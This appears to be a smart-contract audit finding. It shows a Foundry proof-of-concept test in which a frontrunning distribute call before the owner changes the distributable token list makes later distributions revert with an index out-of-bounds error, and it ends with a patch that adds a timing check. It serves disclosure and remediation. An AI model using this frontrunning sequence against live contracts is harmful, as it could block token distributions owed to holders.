  function setDistributableERC20s(
    address[] memory _distributableERC20s
  ) public onlyOwner {
    distributableERC20s = _distributableERC20s;
  }
      for (uint j = 0; j < distributableERC20s.length; j++) {
        uint256 entitlement = erc20EntitlementPerUnit[j] * this.balanceOf(recipient);
        if (IERC20(distributableERC20s[j]).transfer(recipient, entitlement)) {
          receipts[j] = entitlement;
        }
      }
   [24677] LiquidInfrastructureERC20::distribute(1)
     [624] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
        100000000000000000000 [1e20]
     [20123] ERC20::transfer(0x0000000000000000000000000000000000000002, 500000000000000000000 [5e20])
       emit Transfer(from: LiquidInfrastructureERC20: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: 0x0000000000000000000000000000000000000002, value: 500000000000000000000 [5e20])
        true
     [624] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
        100000000000000000000 [1e20]
      "Index out of bounds"
    "Index out of bounds"
[profile.default]
- src = "contracts"
+ src = "src"
out = "out"
libs = ["lib"]
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;


import {Test, console2} from "forge-std/Test.sol";
import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract AltheaTest is Test {
  function setUp() public {}


  function test_POC() public {
    // setup
    LiquidInfrastructureNFT nft = new LiquidInfrastructureNFT("LP");
    address[] memory newErc20s = new address[](1);
    uint256[] memory newAmounts = new uint[](1);
   
    ERC20 DAI = new ERC20("DAI", "DAI");
    ERC20 USDC = new ERC20("USDC", "USDC");


    string memory _name = "LP";
    string memory _symbol = "LP";
    uint256 _minDistributionPeriod = 5;
    address[] memory _managedNFTs = new address[](1);
    address[] memory _approvedHolders = new address[](2);
    address[] memory _distributableErc20s = new address[](1);


    _managedNFTs[0] = address(nft);
    _approvedHolders[0] = address(1);
    _approvedHolders[1] = address(2);
    _distributableErc20s[0] = address(DAI);


    newErc20s[0] = address(DAI);
    nft.setThresholds(newErc20s, newAmounts);
    LiquidInfrastructureERC20 erc = new LiquidInfrastructureERC20(
      _name, _symbol, _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s);
    erc.mint(address(1), 100e18);
    erc.mint(address(2), 100e18);


    // issue == change in desirable erc20s
    _distributableErc20s = new address[](2);
    _distributableErc20s[0] = address(DAI);
    _distributableErc20s[1] = address(USDC);
    newAmounts = new uint[](2);
    newErc20s = new address[](2);
    newErc20s[0] = address(DAI);
    newErc20s[1] = address(USDC);
    nft.setThresholds(newErc20s, newAmounts);


    deal(address(DAI), address(erc), 1000e18);
    deal(address(USDC), address(erc), 1000e18);
    vm.roll(block.number + 100);


    // frontrun tx
    erc.distribute(1);


    // victim tx
    erc.setDistributableERC20s(_distributableErc20s);


    // backrun tx
    vm.roll(block.number + _minDistributionPeriod);
    vm.expectRevert(); // Index out of bounds
    erc.distribute(1);
  }


}
  function setDistributableERC20s(
    address[] memory _distributableERC20s
  ) public onlyOwner {
+    require(!_isPastMinDistributionPeriod(), "set only just after distribution");
    distributableERC20s = _distributableERC20s;
  }
